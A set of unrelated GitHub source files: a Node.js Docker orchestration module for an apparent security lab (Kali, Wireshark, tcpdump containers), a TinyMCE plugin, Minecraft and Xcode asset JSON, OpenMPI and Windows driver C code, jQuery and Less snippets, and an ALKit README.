dockerJS.dockerodePS((err, containersObj) => {
if(err) {
callback(err);
} else {
_.each(containersObj, (c) => {
if (c.Names[0].slice(1).startsWith(service_prefix)) {
let objToInsert = {}
let networkArr = [];
objToInsert.name = c.Names[0].slice(1);
objToInsert.id = c.Id;
objToInsert.image = c.Image;
objToInsert.command = c.Command;
objToInsert.ports = parsePorts(c.Ports);
objToInsert.state = c.State;
let networks = c.NetworkSettings.Networks;
_.each(Object.keys(networks), (k) => {
networks[k].name = k;
networkArr.push(networks[k]);
});
objToInsert.networks = networkArr;
arrRet.push(objToInsert);
}
});
callback(null, arrRet);
}
}, true);
}
function isService(name) {
return name.startsWith(service_prefix);
}
function runService(image, name,options, callback) {
const nameService = `${service_prefix}_${name}`
// TODO: Check if is existent
dockerJS.run(image,callback, _.extend({}, {name: nameService}, options))
}
function startService(nameService, callback) {
if (!isService(nameService)) {
nameService = `${service_prefix}_${nameService}`;
}
dockerJS.start(nameService, callback)
}
function runHttpdService(callback, hostPort, notifyCallback) {
const ports = {};
ports["80"] = hostPort;
dockerJS.run(HTTPD_SERVICE_IMAGE, callback, {
ports:ports,
detached: true,
cap_add: "NET_ADMIN",
volumes: [{
hostPath: DSP_VOLUME_NAME,
containerPath: HTTPD_VOLUME_NAME
}],
name: HTTPD_SERVICE_NAME,
});
}
function runWireshark(callback, hostPort, notifyCallback) {
const ports = {}
// ports["14500"] = hostPort
dockerJS.run(WIRESHARK_IMAGE_NAME, callback, {
// ports: ports,
volumes: [{
hostPath: DSP_VOLUME_NAME,
containerPath: WIRESHARK_VOLUME_NAME
}],
name: WIRESHARK_SERVICE_NAME,
cap_add: "NET_ADMIN",
detached: true,
networkHost: true,
environments: [{
name: "XPRA_PW",
value: "wireshark"
}]
}, notifyCallback);
}
function _getTcpdumpServices(callback) {
dockerJS.ps((err, services) => {
if (err)
callback(err);
else {
services = JSON.parse(services);
const names = services.map((s) => s.Names[0].slice(1)).filter((ss) => ss.startsWith(TCPDUMP_SERVICE_NAME))
callback(null, names)
}
})
}
function _runTcpdump(callback, lab, service, sessionName, notifyCallback) {
const containerName = `${lab.toLowerCase()}_${service}_1`
dockerJS.run(TCPDUMP_IMAGE_NAME, callback, {
name: TCPDUMP_SERVICE_NAME + "_" + service,
net: `container:${containerName}`,
rm: true,
detached: true,
cmd: `${TCPDUMP_CMD} /dsp/${sessionName}_${service}.pcap`,
volumes: [{
hostPath: DSP_VOLUME_NAME,
containerPath: DSP_TARGET_VOLUME_NAME
}]
});
}
function runTcpdump(callback, lab, machinesToBeSniffed, sessionName, notifyCallback) {
if (!sessionName) {
const ts = Date.now();
const date_ob = new Date(ts);
const date = date_ob.getDate();
const month = date_ob.getMonth() + 1;
const year = date_ob.getFullYear();
const second = date_ob.getMilliseconds();
sessionName = year + "-" + month + "-" + date + "-" + second;
}
const machines = Object.keys(_.omit(machinesToBeSniffed, (v, k, object) => v == false));
async.each(machines, (m, c) => {
_runTcpdump(c, lab, m, sessionName, notifyCallback);
}, (err) => callback(err))
}
function isHttpdServiceInstalled(callback) {
di.isImageInstalled(HTTPD_SERVICE_IMAGE, callback);
}
function isWiresharkInstalled(callback) {
di.isImageInstalled(WIRESHARK_IMAGE_NAME, callback);
}
function isTcpdumpInstalled(callback) {
di.isImageInstalled(TCPDUMP_IMAGE_NAME, callback);
}
function installHttpdService(callback, notifyCallback) {
di.pullImage(HTTPD_SERVICE_IMAGE, "latest", callback, notifyCallback)
}
function stopHttpdService(callback) {
dockerJS.rm(HTTPD_SERVICE_NAME, callback, true);
}
function stopKaliService(callback) {
dockerJS.rm(KALI_SERVICE_NAME, callback, true);
}
function runKaliService(callback) {
dockerJS.run(KALI_SERVICE_IMAGE, callback, {
detached: true,
cap_add: "NET_ADMIN",
volumes: [{
hostPath: DSP_VOLUME_NAME,
containerPath: DSP_TARGET_VOLUME_NAME
}],
name: KALI_SERVICE_NAME,
});
}
function runBrowserService(callback, hostPort) {
const ports = {}
ports["5800"] = hostPort
dockerJS.run(BROWSER_SERVICE_IMAGE, callback, {
ports: ports,
detached: true,
cap_add: "NET_ADMIN",
shmSize: "2g",
volumes: [{
hostPath: DSP_VOLUME_NAME,
containerPath: DSP_TARGET_VOLUME_NAME
}],
name: BROWSER_SERVICE_NAME,
});
}
function isBrowserServiceRun(callback) {
dockerJS.isRunning(BROWSER_SERVICE_NAME, (err, isRun) => {
callback(err, isRun);
})
}
function isBrowserServiceInstalled(callback) {
di.isImageInstalled(BROWSER_SERVICE_IMAGE, callback);
}
function stopBrowserService(callback) {
dockerJS.rm(BROWSER_SERVICE_NAME, callback, true);
}
function installProxyService(callback, notifyCallback) {
di.pullImage(BROWSER_SERVICE_IMAGE, "v1.0", callback, notifyCallback)
}
function isKaliServiceRun(callback) {
dockerJS.isRunning(KALI_SERVICE_NAME, (err, isRun) => {
callback(err, isRun);
})
}
function isKaliServiceInstalled(callback) {
di.isImageInstalled(KALI_SERVICE_IMAGE, callback);
}
function installKaliService(callback, notifyCallback) {
di.pullImage(KALI_SERVICE_IMAGE, "latest", callback, notifyCallback)
}
function installBrowserService(callback, notifyCallback) {
di.pullImage(BROWSER_SERVICE_IMAGE, "v1.0", callback, notifyCallback)
}
function installWireshark(callback, notifyCallback) {
di.pullImage(WIRESHARK_IMAGE_NAME, "latest", callback, notifyCallback)
}
function installTcpdump(callback, notifyCallback) {
di.pullImage(TCPDUMP_IMAGE_NAME, "latest", callback, notifyCallback)
}
function isHttpdServiceRun(callback) {
dockerJS.isRunning(HTTPD_SERVICE_NAME, (err, isRun) => {
callback(err, isRun);
})
}
function isTcpdumpRun(callback) {
_getTcpdumpServices((err, services) => {
console.log("Services");
console.log(services);
if (err)
callback(err);
else {
callback(null, services.length > 0);
}
});
}
function stopWireshark(callback) {
dockerJS.rm(WIRESHARK_SERVICE_NAME, callback, true);
}
function stopTcpdump(callback) {
_getTcpdumpServices((err, services) => {
console.log("SERVICES");
console.log(services);
if (err)
callback(err);
else {
async.each(services, (s, c) => {
log.info(`Deleting ${s}`);
dockerJS.rm(s, c, true);
}, (err) => callback(err))
}
})
}
function isWiresharkRun(callback) {
dockerJS.isRunning(WIRESHARK_SERVICE_NAME, (err, isRun) => {
callback(err, isRun);
})
}
function stopService(nameService, callback) {
if (!isService(nameService)) {
nameService = `${service_prefix}_${nameService}`;
}
dockerJS.stop(nameService, callback)
}
function removeService(nameService, callback) {
if (!isService(nameService)) {
nameService = `${service_prefix}_${nameService}`;
}
dockerJS.rm(nameService, callback);
}
function deleteHackTool(name, callback) {
const hackToolName = `${oneline_prefix}_${name}`;
async.waterfall([
(cb) => dockerJS.isRunning(hackToolName, cb),
(isRunning, cb) => {
if (isRunning) {
log.info("Remove hack tool")
dockerJS.rm(hackToolName, cb, true);
} else {
log.info("Hack tool already finished!")
cb(null)
}
}], callback(null))
}
function isDefaultNetwork(networkName) {
return networkName.endsWith("default");
}
function _attachUserNetwork(nameService, networkName, callback) {
async.waterfall([
// Find a free address
(cb) => getFreeAddress(networkName, cb),
// Connect container to free address
(ip, cb) => dockerJS.connectToNetwork(nameService, networkName, cb, ip)
], callback);
// dockerJS.connectToNetwork(nameContainer, networkName, ip, callback);
}
function attachServiceToNetwork(nameService, networkName, callback) {
log.info("Attach service to network");
if (!isService(nameService)) {
nameService = `${service_prefix}_${nameService}`
}
if (isDefaultNetwork(networkName)) {
log.info("Attach to Default Network");
dockerJS.connectToNetwork(nameService, networkName, callback);
} else {
log.info("Attach to User Network");
_attachUserNetwork(nameService, networkName, callback);
}
}
function detachServiceToNetwork(nameService, networkName, callback) {
if (!isService(nameService)) {
nameService = `${service_prefix}_${nameService}`
}
dockerJS.disconnectFromNetwork(nameService, networkName, callback);
}
function getInfoContainer(nameContainer, callback) {
dockerJS.getInfoContainer(nameContainer, callback);
}
function isAllowedNetwork(nameLab, networkName) {
return true;
// const nameWithoutLabName = networkName.replace(`${nameLab}_`, '');
// let isAllowed = false;
// _.each(allowedNetworks, (an) => {
// if(nameWithoutLabName.startsWith(an)) {
// isAllowed = true;
// }
// });
// return isAllowed
}
function __getLabNetwork(nameLab, networks) {
const networksLab = [];
_.each(networks, (n) => {
const networkName = n.Name.toLowerCase();
const ln = nameLab.toLowerCase().replace(/ /g,'');
if (networkName.startsWith(ln)) {
if(isAllowedNetwork(ln, networkName)) {
networksLab.push({
name: n.Name,
id: n.Id,
containers: n.Containers
})
}
}
});
return networksLab;
}
//
// Only 16 and 24 are supported
function _generateSubnet(ipvaddress) {
const splitted = ipvaddress.split("/");
const subnet = splitted[1];
let address = splitted[0];
const retAddresses = [];
if (subnet == 16) {
let lip = address.lastIndexOf(".");
let networkBase = address.substr(0, lip);
lip = networkBase.lastIndexOf(".");
networkBase = networkBase.substr(0, lip);
for (i = 2; i <= 255; i++) {
for (j = 2; j <= 255; j++) {
retAddresses.push(`${networkBase}.${i}.${j}`);
}
}
} else if (subnet == 24) {
let lip = address.lastIndexOf(".");
let networkBase = address.substr(0, lip);
for (i = 2; i <= 255; i++) {
retAddresses.push(`${networkBase}.${i}`);
}
}
return retAddresses;
}
function _getFreeAddress(containers) {
const busyAddresses = [];
let retAddress = '';
let allAddresses = [];
_.each(containers, (containerInfo) => {
if (containerInfo.IPv4Address) {
if (allAddresses.length == 0)
allAddresses = _generateSubnet(containerInfo.IPv4Address)
// 172.19.0.2/16
splitted = containerInfo.IPv4Address.split("/")
busyAddresses.push(splitted[0]);
}
});
_.some(allAddresses, (a) => {
if (!_.contains(busyAddresses, a)) {
log.info(`${a} is free`);
retAddress = a;
return true;
}
});
return retAddress
}
function getFreeAddress(networkName, callback) {
log.info("Get a free address");
dockerJS.getNetwork(networkName, (err, network) => {
if (err) {
callback(err);
} else {
freeAddress = _getFreeAddress(network.Containers);
callback(null, freeAddress);
}
});
}
function getNetworksLab(nameLab, callback) {
let networksLab = [];
let retNetworks = [];
async.waterfall([
(cb) => dockerJS.networkList(cb),
(obj, cb) => {
networksLab = __getLabNetwork(nameLab, obj);
async.eachSeries(networksLab, (n, c) => {
dockerJS.getNetwork(n.name, (err, theNetwork) => {
if (err) {
log.err(err);
c(err);
} else {
const N = n;
N.containers = theNetwork.Containers;
// N.isDefault = isDefaultNetwork(n.name);
retNetworks.push(N);
c(null);
}
});
}, (err) => cb(err, retNetworks));
}], (err, networks) => {
callback(err, networks);
});
}
function findRouterIp(nameNetwork, callback) {
let routerName = '';
async.waterfall([
(cb) => dockerJS.getNetwork(nameNetwork, cb),
// Find the router in the network containers
(theNetwork, cb) => {
let theIp;
log.info("NETWORK");
if (isDefaultNetwork(nameNetwork)) {
log.info("DEFAULT NETWORK");
theIp = theNetwork.IPAM.Config[0].Gateway;
cb(null, theIp);
} else if (!theNetwork.Containers) {
cb(new Error(`No Containers in ${theNetwork}`));
} else {
const containers = theNetwork.Containers;
_.each(containers, (c) => {
let containerName = c.Name;
_.each(routerIDs, (rid) => {
if (containerName.indexOf(rid) !== -1) {
log.info(`${containerName} is network router! `);
routerName = containerName;
theIp = c.IPv4Address.split("/")[0];
}
});
});
if (routerName === '') {
try {
log.warn("No Router, try to set to default gw");
theIp = theNetwork.IPAM.Config[0].Subnet.split("/")[0];
// Check if the ip exists
if (theIp) {
cb(null, theIp);
} else {
cb(new Error("NO ROUTER DEFINED"));
}
} catch (e) {
cb(null, theIp);
cb(new Error(`${nameNetwork} does not contain routers`));
}
} else {
cb(null, theIp);
}
}
},
// Set default router
(theIp, cb) => {
cb(null, theIp);
}], (err, theIp) => {
callback(err, theIp);
});
}
function setDefaultGW(nameService, ipRouter, callback) {
async.waterfall([
(cb) => {
log.info(`Execute ip route replace default via ${ipRouter}`);
dockerJS.exec(nameService, `ip route replace default via ${ipRouter}`, cb)
}],(err) => callback(err));
}
function getImage(name) {
}
function get(name) {
const ret = _.findWhere(hackTools, {label: name});
if (!ret)
throw new Error("Not existent hack tool")
if (!ret.default_options)
ret.default_options = {}
return ret;
}
// if (err) {
// callback(err);
// } else {
// obj = JSON.parse(data)
// networksLab = __getLabNetwork(nameLab, obj);
// callback(null, networksLab);
// }
// });
module.exports = {
getServices,
isService,
startService,
stopService,
stopWireshark,
stopTcpdump,
stopHttpdService,
removeService,
get,
// getDefaultOptions,
detachServiceToNetwork,
attachServiceToNetwork,
getFreeAddress,
getNetworksLab,
findRouterIp,
runService,
setDefaultGW,
deleteHackTool,
isWiresharkRun,
isTcpdumpRun,
isHttpdServiceRun,
isWiresharkInstalled,
isTcpdumpInstalled,
isHttpdServiceInstalled,
installWireshark,
installTcpdump,
installHttpdService,
runWireshark,
runHttpdService,
runTcpdump,
isKaliServiceRun,
isKaliServiceInstalled,
stopKaliService,
runKaliService,
installKaliService,
installProxyService,
isBrowserServiceInstalled,
isBrowserServiceRun,
installBrowserService,
stopBrowserService,
runBrowserService
}
| {
"pile_set_name": "Github"
} |
/**
* editor_plugin_src.js
*
* Copyright 2009, Moxiecode Systems AB
* Released under LGPL License.
*
* License: http://tinymce.moxiecode.com/license
* Contributing: http://tinymce.moxiecode.com/contributing
*/
(function() {
tinymce.create('tinymce.plugins.StylePlugin', {
init : function(ed, url) {
// Register commands
ed.addCommand('mceStyleProps', function() {
var applyStyleToBlocks = false;
var blocks = ed.selection.getSelectedBlocks();
var styles = [];
if (blocks.length === 1) {
styles.push(ed.selection.getNode().style.cssText);
}
else {
tinymce.each(blocks, function(block) {
styles.push(ed.dom.getAttrib(block, 'style'));
});
applyStyleToBlocks = true;
}
ed.windowManager.open({
file : url + '/props.htm',
width : 480 + parseInt(ed.getLang('style.delta_width', 0)),
height : 340 + parseInt(ed.getLang('style.delta_height', 0)),
inline : 1
}, {
applyStyleToBlocks : applyStyleToBlocks,
plugin_url : url,
styles : styles
});
});
ed.addCommand('mceSetElementStyle', function(ui, v) {
if (e = ed.selection.getNode()) {
ed.dom.setAttrib(e, 'style', v);
ed.execCommand('mceRepaint');
}
});
ed.onNodeChange.add(function(ed, cm, n) {
cm.setDisabled('styleprops', n.nodeName === 'BODY');
});
// Register buttons
ed.addButton('styleprops', {title : 'style.desc', cmd : 'mceStyleProps'});
},
getInfo : function() {
return {
longname : 'Style',
author : 'Moxiecode Systems AB',
authorurl : 'http://tinymce.moxiecode.com',
infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/style',
version : tinymce.majorVersion + "." + tinymce.minorVersion
};
}
});
// Register plugin
tinymce.PluginManager.add('style', tinymce.plugins.StylePlugin);
})();
| {
"pile_set_name": "Github"
} |
{
"format_version": "1.10.0",
"minecraft:client_entity": {
"description": {
"identifier": "minecraft:splash_potion",
"materials": {
"default": "splash_potion_enchanted"
},
"textures": {
"moveSlowdown": "textures/items/potion_bottle_splash_moveSlowdown",
"moveSpeed": "textures/items/potion_bottle_splash_moveSpeed",
"digSlowdown": "textures/items/potion_bottle_splash_digSlowdown",
"digSpeed": "textures/items/potion_bottle_splash_digSpeed",
"damageBoost": "textures/items/potion_bottle_splash_damageBoost",
"heal": "textures/items/potion_bottle_splash_heal",
"harm": "textures/items/potion_bottle_splash_harm",
"jump": "textures/items/potion_bottle_splash_jump",
"confusion": "textures/items/potion_bottle_splash_confusion",
"regeneration": "textures/items/potion_bottle_splash_regeneration",
"resistance": "textures/items/potion_bottle_splash_resistance",
"fireResistance": "textures/items/potion_bottle_splash_fireResistance",
"waterBreathing": "textures/items/potion_bottle_splash_waterBreathing",
"invisibility": "textures/items/potion_bottle_splash_invisibility",
"blindness": "textures/items/potion_bottle_splash_blindness",
"nightVision": "textures/items/potion_bottle_splash_nightVision",
"hunger": "textures/items/potion_bottle_splash_hunger",
"weakness": "textures/items/potion_bottle_splash_weakness",
"poison": "textures/items/potion_bottle_splash_poison",
"wither": "textures/items/potion_bottle_splash_wither",
"healthBoost": "textures/items/potion_bottle_splash_healthBoost",
"absorption": "textures/items/potion_bottle_splash_absorption",
"saturation": "textures/items/potion_bottle_splash_saturation",
"levitation": "textures/items/potion_bottle_splash_levitation",
"turtleMaster": "textures/items/potion_bottle_splash_turtleMaster",
"slowFall": "textures/items/potion_bottle_splash_slowFall",
"default": "textures/items/potion_bottle_splash",
"enchanted": "textures/misc/enchanted_item_glint"
},
"geometry": {
"default": "geometry.item_sprite"
},
"render_controllers": [ "controller.render.splash_potion" ],
"animations": {
"flying": "animation.actor.billboard"
},
"scripts": {
"animate": [
"flying"
]
}
}
}
} | {
"pile_set_name": "Github"
} |
/* -*- Mode: C; c-basic-offset:4 ; indent-tabs-mode:nil -*- */
/*
* Copyright (c) 2004-2005 The Trustees of Indiana University and Indiana
* University Research and Technology
* Corporation. All rights reserved.
* Copyright (c) 2004-2013 The University of Tennessee and The University
* of Tennessee Research Foundation. All rights
* reserved.
* Copyright (c) 2004-2005 High Performance Computing Center Stuttgart,
* University of Stuttgart. All rights reserved.
* Copyright (c) 2004-2005 The Regents of the University of California.
* All rights reserved.
* Copyright (c) 2006-2007 Mellanox Technologies. All rights reserved.
* Copyright (c) 2008-2014 Cisco Systems, Inc. All rights reserved.
* Copyright (c) 2012-2016 Los Alamos National Security, LLC. All rights reserved.
* $COPYRIGHT$
*
* Additional copyrights may follow
*
* $HEADER$
*/
#define OPAL_DISABLE_ENABLE_MEM_DEBUG 1
#include "opal_config.h"
#include <stdio.h>
#include <string.h>
#include "opal/mca/mca.h"
#include "opal/mca/base/base.h"
#include "opal/util/show_help.h"
#include "opal/util/proc.h"
#include "opal/mca/mpool/mpool.h"
#include "opal/mca/mpool/base/base.h"
mca_mpool_base_component_t* mca_mpool_base_component_lookup(const char *name)
{
mca_base_component_list_item_t *cli;
/* Traverse the list of available modules; call their init functions. */
OPAL_LIST_FOREACH(cli, &opal_mpool_base_framework.framework_components, mca_base_component_list_item_t) {
mca_mpool_base_component_t* component = (mca_mpool_base_component_t *) cli->cli_component;
if (strcmp(component->mpool_version.mca_component_name, name) == 0) {
return component;
}
}
return NULL;
}
mca_mpool_base_module_t *mca_mpool_base_module_lookup (const char *hints)
{
mca_mpool_base_module_t *best_module = mca_mpool_base_default_module;
mca_base_component_list_item_t *cli;
int best_priority = mca_mpool_base_default_priority;
int rc;
OPAL_LIST_FOREACH(cli, &opal_mpool_base_framework.framework_components, mca_base_component_list_item_t) {
mca_mpool_base_component_t *component = (mca_mpool_base_component_t *) cli->cli_component;
mca_mpool_base_module_t *module;
int priority;
rc = component->mpool_query (hints, &priority, &module);
if (OPAL_SUCCESS == rc) {
if (priority > best_priority) {
best_priority = priority;
best_module = module;
}
}
}
return best_module;
}
| {
"pile_set_name": "Github"
} |
3--Riot/3_Riot_Riot_3_123.jpg
4
590.38675 470.65175 67.600625 76.78625 0.99955958128
893.427625 350.36621875 25.3088125 34.3288125 0.978485047817
827.0599375 610.4241875 64.370875 108.683625 0.883696734905
318.40325 395.44428125 18.94646875 23.86396875 0.849425673485
| {
"pile_set_name": "Github"
} |
/*
* mcd.h
*
* Media changer driver interface
*
* This file is part of the w32api package.
*
* Contributors:
* Created by Casper S. Hornstrup <chorns@users.sourceforge.net>
*
* THIS SOFTWARE IS NOT COPYRIGHTED
*
* This source code is offered for use in the public domain. You may
* use, modify or distribute it freely.
*
* This code is distributed in the hope that it will be useful but
* WITHOUT ANY WARRANTY. ALL WARRANTIES, EXPRESS OR IMPLIED ARE HEREBY
* DISCLAIMED. This includes but is not limited to warranties of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
*/
#ifndef __MCD_H
#define __MCD_H
#include "srb.h"
#include "scsi.h"
#include "ntddchgr.h"
#ifdef __cplusplus
extern "C" {
#endif
#if defined(_MCD_)
#define CHANGERAPI
#else
#define CHANGERAPI DECLSPEC_IMPORT
#endif
#ifdef DebugPrint
#undef DebugPrint
#endif
#if DBG
#define DebugPrint(x) ChangerClassDebugPrint x
#else
#define DebugPrint(x)
#endif
#define MAXIMUM_CHANGER_INQUIRY_DATA 252
CHANGERAPI
PVOID
NTAPI
ChangerClassAllocatePool(
IN POOL_TYPE PoolType,
IN ULONG NumberOfBytes);
VOID
ChangerClassDebugPrint(
ULONG DebugPrintLevel,
PCCHAR DebugMessage,
...);
CHANGERAPI
PVOID
NTAPI
ChangerClassFreePool(
IN PVOID PoolToFree);
CHANGERAPI
NTSTATUS
NTAPI
ChangerClassSendSrbSynchronous(
IN PDEVICE_OBJECT DeviceObject,
IN PSCSI_REQUEST_BLOCK Srb,
IN PVOID Buffer,
IN ULONG BufferSize,
IN BOOLEAN WriteToDevice);
typedef NTSTATUS NTAPI
(*CHANGER_INITIALIZE)(
IN PDEVICE_OBJECT DeviceObject);
typedef ULONG NTAPI
(*CHANGER_EXTENSION_SIZE)(
VOID);
typedef VOID NTAPI
(*CHANGER_ERROR_ROUTINE)(
PDEVICE_OBJECT DeviceObject,
PSCSI_REQUEST_BLOCK Srb,
NTSTATUS *Status,
BOOLEAN *Retry);
typedef NTSTATUS NTAPI
(*CHANGER_COMMAND_ROUTINE)(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp);
typedef NTSTATUS NTAPI
(*CHANGER_PERFORM_DIAGNOSTICS)(
IN PDEVICE_OBJECT DeviceObject,
OUT PWMI_CHANGER_PROBLEM_DEVICE_ERROR ChangerDeviceError);
typedef struct _MCD_INIT_DATA {
ULONG InitDataSize;
CHANGER_EXTENSION_SIZE ChangerAdditionalExtensionSize;
CHANGER_INITIALIZE ChangerInitialize;
CHANGER_ERROR_ROUTINE ChangerError;
CHANGER_PERFORM_DIAGNOSTICS ChangerPerformDiagnostics;
CHANGER_COMMAND_ROUTINE ChangerGetParameters;
CHANGER_COMMAND_ROUTINE ChangerGetStatus;
CHANGER_COMMAND_ROUTINE ChangerGetProductData;
CHANGER_COMMAND_ROUTINE ChangerSetAccess;
CHANGER_COMMAND_ROUTINE ChangerGetElementStatus;
CHANGER_COMMAND_ROUTINE ChangerInitializeElementStatus;
CHANGER_COMMAND_ROUTINE ChangerSetPosition;
CHANGER_COMMAND_ROUTINE ChangerExchangeMedium;
CHANGER_COMMAND_ROUTINE ChangerMoveMedium;
CHANGER_COMMAND_ROUTINE ChangerReinitializeUnit;
CHANGER_COMMAND_ROUTINE ChangerQueryVolumeTags;
} MCD_INIT_DATA, *PMCD_INIT_DATA;
CHANGERAPI
NTSTATUS
NTAPI
ChangerClassInitialize(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath,
IN PMCD_INIT_DATA MCDInitData);
#ifdef __cplusplus
}
#endif
#endif /* __MCD_H */
| {
"pile_set_name": "Github"
} |
(function($) {
'use strict';
// Resize code blocks to fit the screen width
/**
* Code block resizer
* @param {String} elem
* @constructor
*/
var CodeBlockResizer = function(elem) {
this.$codeBlocks = $(elem);
};
CodeBlockResizer.prototype = {
/**
* Run main feature
* @return {void}
*/
run: function() {
var self = this;
// resize all codeblocks
self.resize();
// resize codeblocks when window is resized
$(window).smartresize(function() {
self.resize();
});
},
/**
* Resize codeblocks
* @return {void}
*/
resize: function() {
var self = this;
self.$codeBlocks.each(function() {
var $gutter = $(this).find('.gutter');
var $code = $(this).find('.code');
// get padding of code div
var codePaddings = $code.width() - $code.innerWidth();
// code block div width with padding - gutter div with padding + code div padding
var width = $(this).outerWidth() - $gutter.outerWidth() + codePaddings;
// apply new width
$code.css('width', width);
$code.children('pre').css('width', width);
});
}
};
$(document).ready(function() {
// register jQuery function to check if an element has an horizontal scroll bar
$.fn.hasHorizontalScrollBar = function() {
return this.get(0).scrollWidth > this.innerWidth();
};
var resizer = new CodeBlockResizer('figure.highlight');
resizer.run();
});
})(jQuery);
| {
"pile_set_name": "Github"
} |
@import "~antd/lib/style/themes/default.less";
.card {
margin-bottom: 24px;
}
| {
"pile_set_name": "Github"
} |
//
// Thumbnails
// --------------------------------------------------
// Mixin and adjust the regular image class
.thumbnail {
display: block;
padding: @thumbnail-padding;
margin-bottom: @line-height-computed;
line-height: @line-height-base;
background-color: @thumbnail-bg;
border: 1px solid @thumbnail-border;
border-radius: @thumbnail-border-radius;
.transition(border .2s ease-in-out);
> img,
a > img {
&:extend(.img-responsive);
margin-left: auto;
margin-right: auto;
}
// Add a hover state for linked versions only
a&:hover,
a&:focus,
a&.active {
border-color: @link-color;
}
// Image captions
.caption {
padding: @thumbnail-caption-padding;
color: @thumbnail-caption-color;
}
}
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8"?><links>
<link id="forums">http://forums.wow-europe.com/</link>
<link id="armory">http://eu.wowarmory.com/</link>
<link id="wow">http://www.wow-europe.com/</link>
</links>
| {
"pile_set_name": "Github"
} |
{
"images" : [
{
"size" : "16x16",
"idiom" : "mac",
"filename" : "16.png",
"scale" : "1x"
},
{
"size" : "16x16",
"idiom" : "mac",
"filename" : "32.png",
"scale" : "2x"
},
{
"size" : "32x32",
"idiom" : "mac",
"filename" : "32-1.png",
"scale" : "1x"
},
{
"size" : "32x32",
"idiom" : "mac",
"filename" : "64.png",
"scale" : "2x"
},
{
"size" : "128x128",
"idiom" : "mac",
"filename" : "128.png",
"scale" : "1x"
},
{
"size" : "128x128",
"idiom" : "mac",
"filename" : "256.png",
"scale" : "2x"
},
{
"size" : "256x256",
"idiom" : "mac",
"filename" : "256-1.png",
"scale" : "1x"
},
{
"size" : "256x256",
"idiom" : "mac",
"filename" : "512.png",
"scale" : "2x"
},
{
"size" : "512x512",
"idiom" : "mac",
"filename" : "512-1.png",
"scale" : "1x"
},
{
"size" : "512x512",
"idiom" : "mac",
"filename" : "1024.png",
"scale" : "2x"
}
],
"info" : {
"version" : 1,
"author" : "xcode"
}
} | {
"pile_set_name": "Github"
} |
{
"images" : [
{
"size" : "40x40",
"idiom" : "ipad",
"filename" : "Icon-40.png",
"scale" : "1x"
},
{
"size" : "40x40",
"idiom" : "ipad",
"filename" : "Icon-40@2x.png",
"scale" : "2x"
},
{
"size" : "60x60",
"idiom" : "iphone",
"filename" : "Icon-60@2x.png",
"scale" : "2x"
},
{
"size" : "72x72",
"idiom" : "ipad",
"filename" : "Icon-72.png",
"scale" : "1x"
},
{
"size" : "72x72",
"idiom" : "ipad",
"filename" : "Icon-72@2x.png",
"scale" : "2x"
},
{
"size" : "76x76",
"idiom" : "ipad",
"filename" : "Icon-76.png",
"scale" : "1x"
},
{
"size" : "76x76",
"idiom" : "ipad",
"filename" : "Icon-76@2x.png",
"scale" : "2x"
},
{
"size" : "50x50",
"idiom" : "ipad",
"filename" : "Icon-Small-50.png",
"scale" : "1x"
},
{
"size" : "50x50",
"idiom" : "ipad",
"filename" : "Icon-Small-50@2x.png",
"scale" : "2x"
},
{
"size" : "29x29",
"idiom" : "iphone",
"filename" : "Icon-Small.png",
"scale" : "1x"
},
{
"size" : "29x29",
"idiom" : "iphone",
"filename" : "Icon-Small@2x.png",
"scale" : "2x"
},
{
"size" : "57x57",
"idiom" : "iphone",
"filename" : "Icon.png",
"scale" : "1x"
},
{
"size" : "57x57",
"idiom" : "iphone",
"filename" : "Icon@2x.png",
"scale" : "2x"
},
{
"size" : "29x29",
"idiom" : "iphone",
"filename" : "Icon-Small@3x.png",
"scale" : "3x"
},
{
"size" : "40x40",
"idiom" : "iphone",
"filename" : "Icon-40@3x.png",
"scale" : "3x"
},
{
"size" : "60x60",
"idiom" : "iphone",
"filename" : "Icon-60@3x.png",
"scale" : "3x"
},
{
"size" : "40x40",
"idiom" : "iphone",
"filename" : "Icon-40@2x.png",
"scale" : "2x"
},
{
"size" : "29x29",
"idiom" : "ipad",
"filename" : "Icon-Small.png",
"scale" : "1x"
},
{
"size" : "29x29",
"idiom" : "ipad",
"filename" : "Icon-Small@2x.png",
"scale" : "2x"
}
],
"info" : {
"version" : 1,
"author" : "xcode"
}
} | {
"pile_set_name": "Github"
} |
ALKit
===
Easy to use AutoLayout wrapper around `NSLayoutConstraints`.
Install
----
#### CocoaPods
``` ruby
use_frameworks!
pod 'ALKit'
```
### Manual
Copy the `ALKit` folder into your project
Usage
----
### Init
Initialzes autolayout ready views.
``` swift
convenience init (withAutolayout: Bool) {
self.init(frame: CGRect.zero)
translatesAutoresizingMaskIntoConstraints = false
}
```
``` swift
class func AutoLayout() -> UIView {
let view = UIView(frame: CGRect.zero)
view.translatesAutoresizingMaskIntoConstraints = false
return view
}
```
### Wraper
The main function of all kit.
Wraps `addConstraint:` method of autolayout.
``` swift
func pin(
inView inView: UIView? = nil,
edge: NSLayoutAttribute,
toEdge: NSLayoutAttribute,
ofView: UIView?,
withInset: CGFloat = 0) {
let view = inView ?? ofView ?? self
view.addConstraint(NSLayoutConstraint(
item: self,
attribute: edge,
relatedBy: .Equal,
toItem: ofView,
attribute: toEdge,
multiplier: 1,
constant: withInset))
}
```
#### Example
``` swift
override func viewDidLoad() {
super.viewDidLoad()
// setup views
let box = UIView.AutoLayout()
box.backgroundColor = UIColor.greenColor()
view.addSubview(box)
let blue = UIView.AutoLayout()
blue.backgroundColor = UIColor.blueColor()
box.addSubview(blue)
let red = UIView.AutoLayout()
red.backgroundColor = UIColor.redColor()
box.addSubview(red)
let yellow = UIView.AutoLayout()
yellow.backgroundColor = UIColor.yellowColor()
box.addSubview(yellow)
// setup constraints
box.fill(toView: view)
blue.pinTop(toView: box, withInset: 10)
blue.fillHorizontal(toView: box, withInset: 10)
blue.pinHeight(90)
red.pinBottom(toView: box, withInset: 10)
red.fillHorizontal(toView: box, withInset: 10)
red.pinHeight(90)
yellow.pinToTop(ofView: red, withOffset: 10)
yellow.pinCenterX(toView: red)
yellow.pinSize(width: 50, height: 50)
}
```
| {
"pile_set_name": "Github"
} |
// Copyright 2016 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build ignore
// mkpost processes the output of cgo -godefs to
// modify the generated types. It is used to clean up
// the sys API in an architecture specific manner.
//
